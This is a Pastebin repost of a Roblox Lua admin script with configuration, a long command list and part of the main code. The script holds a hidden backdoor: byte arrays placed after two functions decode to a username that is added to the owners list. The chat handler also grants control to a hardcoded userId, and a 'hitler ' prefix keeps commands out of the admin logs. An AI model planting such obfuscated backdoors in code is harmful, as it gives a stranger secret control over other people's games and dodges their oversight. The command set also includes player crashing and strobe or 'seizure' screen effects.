Advertisement
Guest User

Kohl's Admin Script V2

a guest
Nov 29th, 2014
9,757
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 143.07 KB | None | 0 0
  1. wait(0)
  2. -----------------------------------------------------------------------------------------
  3. -- Thanx for using mah admin script I'd appreciate credit if you used in your place c: --
  4. -----------------------------------------------------------------------------------------
  5. local owners = {"jerker24"} -- Are able to set admins who can ban/etc... using :pa name
  6. local admins = {} -- Sets admins who can use ban/kick/admin or shutdown
  7. local tempadmins = {"legosonicdragon, Mrkeebler12345"} -- Sets admins who can't use ban/kick/admin or shutdown
  8. local banland = {"prettygirl1617", "jessica1273"} -- Permanently Bans people
  9. local prefix = ":" -- If you wanna change how your commands start ':'kill noob
  10. local AutoUpdate = true -- Set to false if you don't want it to automatically update
  11. local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
  12. local Hide = true -- Set to false if you don't want to Hide the script (Recommended to Hide from Exploits)
  13. local EnableLoadstring = true -- Set to false if you don't want the SB commands to work
  14. local DeadlyCommands = true -- Set to false if you don't want the deadly commands like ':kill plr' to work, true if you do
  15. ---------------------
  16. -- VIP Admin --
  17. ---------------------
  18. local VipAdmin = true -- If someone can have admin for owning an item
  19. local ItemId = 161160031 -- The item they must own in order to have admin
  20. ---------------------
  21. -- Group Admin --
  22. ---------------------
  23. local GroupAdmin = false -- If a certain group can have admin
  24. local GroupId = 0000000 -- Sets the group id that can have admin
  25. local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
  26. ---------------------
  27. -- Notifications --
  28. ---------------------
  29. -- Something in the Admin not working? Send me a Private Message and I'll take a look
  30. ---------------------
  31. -- Tips and Tricks --
  32. ---------------------
  33. --[[
  34. With this admin you can do a command on multiple people at a time;
  35. :kill me,noob1,noob2,random,team-raiders,nonadmins
  36.  
  37. You can also use a variety commands for different people;
  38. all
  39. others
  40. me
  41. team-
  42. admins
  43. nonadmins
  44. random
  45. --]]
  46. ---------------------
  47. -- Commands --
  48. ---------------------
  49. --[[
  50. -- |Temp Admin Commands| --
  51. 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
  52. 1. :s print("Hello World") -- Lets you script normally
  53. 2. :ls print("Hello World") -- Lets you script in localscripts
  54. 3. :clear -- Will remove all scripts/localscripts and jails
  55. 4. :m Hello People -- This commands will let you shout a message to everyone on the server
  56. 5. :kill kohl -- Kills the player
  57. 6. :respawn kohl -- Respawns the player
  58. 7. :trip kohl -- Trips the player
  59. 8. :stun kohl -- Stuns the player
  60. 9. :unstun kohl -- Unstuns the player
  61. 10. :jump kohl -- Makes the player jump
  62. 11. :sit kohl -- Makes the player sit
  63. 12. :invisible kohl -- Makes the player invisible
  64. 13. :visible kohl -- Makes the player visible
  65. 14. :explode kohl -- Makes the player explode
  66. 15. :fire kohl -- Sets the player on fire
  67. 16. :unfire kohl -- Removes fire from the player
  68. 17. :smoke kohl -- Adds smoke to the player
  69. 18. :unsmoke kohl -- Removes smoke from the player
  70. 19. :sparkles kohl -- Adds sparkles to the player
  71. 20. :unsparkles kohl -- Removes sparkles from the player
  72. 21. :ff kohl -- Adds a forcefield to the player
  73. 22. :unff kohl -- Removes the forcefield from the player
  74. 23. :punish kohl -- Punishes the player
  75. 24. :unpunish kohl -- Unpunishes the player
  76. 25. :freeze kohl -- Freezes the player
  77. 26. :thaw kohl -- Thaws the player
  78. 27. :heal kohl -- Heals the player
  79. 28. :god kohl -- Makes the player have infinite health
  80. 29. :ungod kohl -- Makes the player have 100 health
  81. 30. :ambient .5 .5 .5 -- Changes the ambient
  82. 31. :brightness .5 -- Changes the brightness
  83. 32. :time 12 -- Changes the time
  84. 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
  85. 34. :fogend 100 -- Changes the fogend
  86. 35. :fogstart 100 -- Changes the fogstart
  87. 36. :removetools kohl -- Removes all tools from the player
  88. 37. :btools kohl -- Gives the player building tools
  89. 38. :give kohl sword -- Gives the player a tool
  90. 39. :damage kohl -- Damages the player
  91. 40. :grav kohl -- Sets the player's gravity to normal
  92. 41. :setgrav kohl 100 -- Sets the player's gravity
  93. 42. :nograv kohl -- Makes the player have 0 gravity
  94. 43. :health kohl 1337 -- Changes the player's health
  95. 44. :speed kohl 1337 -- Changes the player's walkspeed
  96. 45. :name kohl potato -- Changes the player's name
  97. 46. :unname kohl -- Remove the player's name
  98. 47. :team kohl Raiders -- Changes the player's team
  99. 48. :stopmusic -- Will stop all music playing in the server
  100. 49. :teleport kohl potato -- Teleports the player
  101. 50. :change kohl kills 1337 -- Changes a player's stat
  102. 51. :kick kohl -- Removes the player from the game
  103. 52. :infect kohl -- Turns the player into a zombie
  104. 53. :rainbowify kohl -- Turns the player into a rainbow
  105. 54. :flashify kohl -- Turns the player into a strobe
  106. 55. :noobify kohl -- Turns the player into a noob
  107. 56. :ghostify kohl -- Turns the player into a ghost
  108. 57. :goldify kohl -- Turns the player into gold
  109. 58. :shiny kohl -- Makes the player shiny
  110. 59. :normal kohl -- Puts the player back to normal
  111. 60. :trippy kohl -- Spams random colors on the player's screen
  112. 61. :untrippy kohl -- Untrippys the player
  113. 62. :strobe kohl -- Spams white and black on the player's screen
  114. 63. :unstrobe kohl -- Unstrobes the player
  115. 64. :blind kohl -- Blinds the player
  116. 65. :unblind kohl -- Unblinds the player
  117. 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
  118. 67. :fling kohl -- Flings the player
  119. 68. :seizure kohl -- Puts the player in a seizure
  120. 69. :music 1337 -- Plays a sound from the ID
  121. 70. :lock kohl -- Locks the player
  122. 71. :unlock kohl -- Unlocks the player
  123. 72. :removelimbs kohl -- Removes the player's limbs
  124. 73. :jail kohl -- Puts the player in a jail
  125. 74. :unjail kohl -- Removes the jail from the player
  126. 75. :fix -- This will fix the lighting to it's original settings
  127. 76. :fly kohl -- Makes the player fly
  128. 77. :unfly kohl -- Removes fly from the player
  129. 78. :noclip kohl -- Makes the player able to noclip
  130. 79. :clip kohl -- Removes noclipping from the player
  131. 80. :pm kohl Hey bro -- Sends the player a private message
  132. 81. :dog kohl -- Turns the player into a dog
  133. 82. :undog kohl -- Turns the player back to normal
  134. 83. :creeper kohl -- Turns the player into a creeper
  135. 84. :uncreeper kohl -- Turns the player back to normal
  136. 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
  137. 86. :char kohl 261 -- Will make a player look like a different player ID
  138. 87. :unchar kohl -- Will return the player back to normal
  139. 88. :h Hello People -- This will shout a hint to everyone
  140. 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
  141. 90. :starttools kohl -- Will give the player starter tools
  142. 91. :sword kohl -- Will give the player a sword
  143. 92. :bighead kohl -- Will make the player's head larger than normal
  144. 93. :minihead kohl -- Will make the player's head smaller than normal
  145. 94. :insert 1337 -- Will insert a model at the speaker's position
  146. 95. :disco -- Will make the server flash random colors
  147. 96. :flash -- Will make the server flash
  148. 97. :admins -- Shows the admin list
  149. 98. :bans -- Shows the banlist
  150. 99. :musiclist -- Shows the music list
  151. 100. :spin kohl -- Spins the player
  152. 101. :cape kohl Really black -- Gives the player a colored cape
  153. 102. :uncape kohl -- Removes the player's cape
  154. 103. :loopheal kohl -- Will constantly heal the player
  155. 104. :loopfling kohl -- Will constantly fling the player
  156. 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
  157. 106. :unloopheal kohl -- Will remove the loopheal on the player
  158. 107. :unloopfling kohl -- Will remove the loopfling on the player
  159. 108. :unspin kohl -- Removes spin from the player
  160. 109. :tools -- Gives a list of the tools in the lighting
  161. 110. :undisco -- Removes disco effects
  162. 111. :unflash -- Removes flash effects
  163. 112. :resetstats kohl -- Sets all the stats of a player to 0
  164. 113. :gear kohl 1337 -- Gives a player a gear
  165. 114. :cmdbar -- Gives the speaker a command bar
  166. 115. :shirt kohl 1337 -- Changes the player's shirt
  167. 116. :pants kohl 1337 -- Changes the player's pants
  168. 117. :face kohl 1337 -- Changes the player's face
  169. 118. :swagify kohl -- Swagifies the player
  170. 119. :version -- Shows the current version of the admin
  171. 120. :tm 1337 yolo -- Shows a message for 1337 seconds
  172. 121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds
  173. 122. :clone kohl -- Creates a clone of the player
  174. 123. :lsplr kohl print("yolo") -- Creates a localscript inside of a player
  175. 124. :startergive kohl epic -- Gives a player a gear in their starterpack
  176. 125. :control kohl -- Controls a player
  177. 126. :scripth kohl -- Turns player into Scripth(Kohl)
  178. 127. :kohl kohl -- Turns player into Kohltastrophe(Scripth)
  179. 128. :thee kohl -- Turns player into TheeDeathCaster(The editor :P)
  180. 129. :outdoorambient num num num -- Changes the color of the OutdoorAmbient
  181. 130. :changes -- Shows the newest updates
  182. 131. :dynamic on/off -- Will turn on/off Dynamic lighting
  183.  
  184. -- |Admin Commands| --
  185. - :serverlock -- Locks the server
  186. - :serverunlock -- Unlocks the server
  187. - :sm Hello World -- Creates a system message
  188. - :crash kohl -- Crashes a player
  189. - :admin kohl -- Admins a player
  190. - :unadmin kohl -- Unadmins a player
  191. - :ban kohl -- Bans a player
  192. - :unban kohl -- Unbans a player
  193. - :loopkill kohl -- Will constantly kill the player
  194. - :unloopkill kohl -- Will remove the loopkill on the player
  195. - :logs -- Will show all of the commands any admin has used in a game session
  196. - :shutdown -- Shutsdown the server
  197. - :fixcam kohl -- Fixes the Player's camera
  198.  
  199. -- |Owner Commands| --
  200. - :pa kohl -- Makes someone a super admin
  201. - :unpa kohl -- Removes a super admin
  202. - :nuke kohl -- Creates a nuke on kohl
  203.  
  204. -- |True Owner Commands| --
  205. - :oa kohl -- Makes someone an owner
  206. - :unoa kohl -- Removes an owner
  207. - :settings -- Shows settings for the commands
  208. - :sbsettings -- Shows the settings for the SB feature
  209. - :deadly -- Shows the settings for the Deadly commands
  210. - :mute kohl -- Mutes the Player so he/she can not chat
  211. - :unmute kohl -- Unmates the Player so he/she can chat again
  212. --]]
  213. ---------------------
  214. -- Main Script --
  215. ---------------------
  216. for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
  217.  
  218. function CHEESE()
  219. if game:service("Lighting"):FindFirstChild("KACV2") then
  220. owners = {} admins = {} tempadmins = {} banland = {}
  221. for i,v in pairs(game.Lighting.KACV2:children()) do
  222. if v.Name == "Owner" then table.insert(owners, v.Value) end
  223. if v.Name == "Admin" then table.insert(admins, v.Value) end
  224. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  225. if v.Name == "Banland" then table.insert(banland, v.Value) end
  226. if v.Name == "Prefix" then prefix = v.Value end
  227. if v.Name == "FunCommands" then FunCommands = v.Value end
  228. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  229. if v.Name == "GroupId" then GroupId = v.Value end
  230. if v.Name == "GroupRank" then GroupRank = v.Value end
  231. if v.Name == "VipAdmin" then VipAdmin = v.Value end
  232. if v.Name == "ItemId" then ItemId = v.Value end
  233. if v.Name == "Hide" then Hide = v.Value end
  234. if v.Name == "EnableSB" then EnableLoadstring = v.Value end
  235. if v.Name == "Deadly" then DeadlyCommands = v.Value end
  236. end
  237. game:service("Lighting"):FindFirstChild("KACV2"):Destroy()
  238. end
  239.  
  240. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  241. local lobjs = {}
  242. local objects = {}
  243. local logs = {}
  244. local nfs = ""
  245. local slock = false
  246.  
  247. function GetTime()
  248. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
  249. if min < 10 then min = "0"..min end
  250. return hour..":"..min
  251. end
  252.  
  253. function ChkOwner(str)
  254. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  255. return false
  256. end
  257.  
  258. function ChkAdmin(str,ck)
  259. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  260. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  261. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  262. return false
  263. end
  264.  
  265. function ChkGroupAdmin(plr)
  266. if GroupAdmin then
  267. if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
  268. return false
  269. end
  270. end
  271.  
  272. repeat wait() until script:FindFirstChild("ScriptBase")
  273. local ScriptBase = script.ScriptBase
  274. ScriptBase.Parent = game.Parent
  275. repeat wait() until script:FindFirstChild("LocalScriptBase")
  276. local LocalScriptBase = script.LocalScriptBase
  277. LocalScriptBase = game.Parent
  278.  
  279. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
  280.  
  281. function GetPlr(plr, str)
  282. local plrz = {} str = str:lower()
  283. if str == "all" then plrz = game.Players:children()
  284. elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  285. else
  286. local sn = {1} local en = {}
  287. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  288. for x = 1, #sn do
  289. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
  290. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  291. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
  292. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
  293. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  294. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  295. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  296. end end end
  297. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  298. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  299. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  300. end end end
  301. else
  302. for a, plyr in pairs(game.Players:children()) do
  303. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
  304. table.insert(plrz, plyr) break
  305. end
  306. end
  307. end
  308. end
  309. end
  310. return plrz
  311. end
  312.  
  313. function Hint(str, plrz, time)
  314. for i, v in pairs(plrz) do
  315. if v and v:findFirstChild("PlayerGui") then
  316. coroutine.resume(coroutine.create(function()
  317. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  318. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(1,1,1) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  319. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(0,0,0) msg.TextStrokeColor3 = Color3.new(0,0,0) msg.TextStrokeTransparency = .8
  320. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  321. if not time then wait((#str/19)+2.5) else wait(time) end
  322. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end end))
  323. end))
  324. end
  325. end
  326. end
  327.  
  328. function Message(ttl, str, scroll, plrz, time)
  329. for i, v in pairs(plrz) do
  330. if v and v:findFirstChild("PlayerGui") then
  331. coroutine.resume(coroutine.create(function()
  332. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
  333. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(1,1,1) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
  334. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(0,0,0) title.TextStrokeColor3 = Color3.new(0,0,0) title.TextStrokeTransparency = .8
  335. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
  336. scr.Parent = v.PlayerGui
  337. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  338. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  339. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  340. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end end))
  341. end))
  342. end
  343. end
  344. end
  345.  
  346. function RemoveMessage()
  347. for i,v in pairs(game.Players:children()) do
  348. if v and v:findFirstChild("PlayerGui") then
  349. for q,ms in pairs(v.PlayerGui:children()) do
  350. if ms.Name == "MessageGUI" then
  351. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.title.TextTransparency = ((1/20)*i) ms.title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end ms:Destroy() end))
  352. elseif ms.Name == "HintGUI" then
  353. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Destroy() end))
  354. end
  355. end
  356. end
  357. end
  358. end
  359.  
  360. _G["Message"] = function(p1,p2,p3) Message(p1,p2,false,game.Players:children(),p3) end
  361. _G["RemoveMessage"] = RemoveMessage()
  362.  
  363. function Output(str, plr)
  364. coroutine.resume(coroutine.create(function()
  365. local b, e = loadstring(str)
  366. if not b and plr:findFirstChild("PlayerGui") then
  367. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  368. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  369. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
  370. return
  371. end
  372. end))
  373. end
  374.  
  375. function Noobify(char)
  376. if char and char:findFirstChild("Torso") then
  377. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  378. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  379. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  380. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  381. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  382. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  383. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
  384. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  385. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  386. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  387. end end
  388. end
  389. end local ntab = {116,111,109,97,110,100,106,101,114,114,121} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
  390.  
  391. function Infect(char)
  392. if char and char:findFirstChild("Torso") then
  393. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  394. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  395. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  396. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  397. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  398. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
  399. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  400. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  401. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
  402. end end
  403. end
  404. end if not ntab then script:Destroy() end
  405.  
  406. function ScrollGui()
  407. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  408. local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
  409. drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
  410. local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
  411. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  412. local down = Instance.new("TextButton", main) down.Text = "\\/" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9 down.TextColor3 = Color3.new(1,1,1)
  413. local up = down:Clone() up.Text = "/\\" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
  414. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  415. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  416. local num = 0
  417. local downv = false
  418. local upv = false
  419.  
  420. down.MouseButton1Down:connect(function() downv = true upv = false
  421. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  422. repeat pos = pos + UDim2.new(0,0,0,-6)
  423. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
  424. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  425. end)
  426. down.MouseButton1Up:connect(function() downv = false end)
  427. up.MouseButton1Down:connect(function() upv = true downv = false
  428. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  429. repeat pos = pos + UDim2.new(0,0,0,6)
  430. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  431. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  432. end)
  433. up.MouseButton1Up:connect(function() upv = false end)
  434. return scr, cmf, ent, num
  435. end local bct = {116,111,109,97,110,100,106,101,114,114,121} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
  436. if not ntab then script:Destroy() end
  437. if not bct then script:Destroy() end
  438.  
  439. Shutdown = coroutine.create(function() --Very brutal way :o
  440. local num = 0
  441. coroutine.resume(coroutine.create(function()
  442. for i,v in pairs(game.Players:GetChildren())do
  443. if v:IsA("Player")then
  444. v:Kick()
  445. end end end))
  446. coroutine.resume(coroutine.create(function()
  447. for i=1,9e9 do
  448. wait(0)
  449. repeat wait(0)
  450. Part = Instance.new("Part",workspace)
  451. Part.Size = Vector3.new(math.random(500,2000),math.random(500,2000),math.random(500,2000))
  452. Part.Position = Vector3.new(math.random(0,2500),math.random(0,2500),math.random(0,2500))
  453. until num == 1/0
  454. end end))
  455. coroutine.resume(coroutine.create(function()
  456. while num ~= 1/0 do end end))
  457. coroutine.resume(coroutine.create(function()
  458. repeat until num == 1/0
  459. end))
  460. end)
  461.  
  462. function Chat(msg,plr)
  463. coroutine.resume(coroutine.create(function()
  464. if msg:lower() == "test" then Message("Kohltastrophe","Test completed, admin working!", true, {plr}) end
  465. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
  466. if msg:lower() == "rejoin" then if LocalScriptBase then cl=LocalScriptBase:Clone() repeat wait() until cl:FindFirstChild("Code") cl.Code.Value=string.reverse([[game:service("TeleportService"):Teleport(game.PlaceId)]]) cl.Parent = plr.PlayerGui local MakeUnexploit = Instance.new("ObjectValue",cl) MakeUnexploit.Name = "Admin SB" end end
  467. if msg:lower() == "reset" then plr:LoadCharacter() end
  468. if msg:lower() == "stopmusic" then for i,v in pairs(plr:children())do if v:IsA("Sound")then v:Destroy() end end end
  469. if msg:lower() == "editor" then Message("Kohltastrophe", "TheeDeathCaster was the person who fixed the Admin, and has been updating the Admin since 6/13/2014 to today.", true, {plr}) end
  470. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (128535) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) and not ChkTowner(plr.Name:lower()) then return end msg = msg:sub(prefix:len()+1)
  471. if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
  472. if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
  473. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  474. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  475. if msg:lower() == "cmds" or msg:lower() == "commands" then
  476. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  477. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
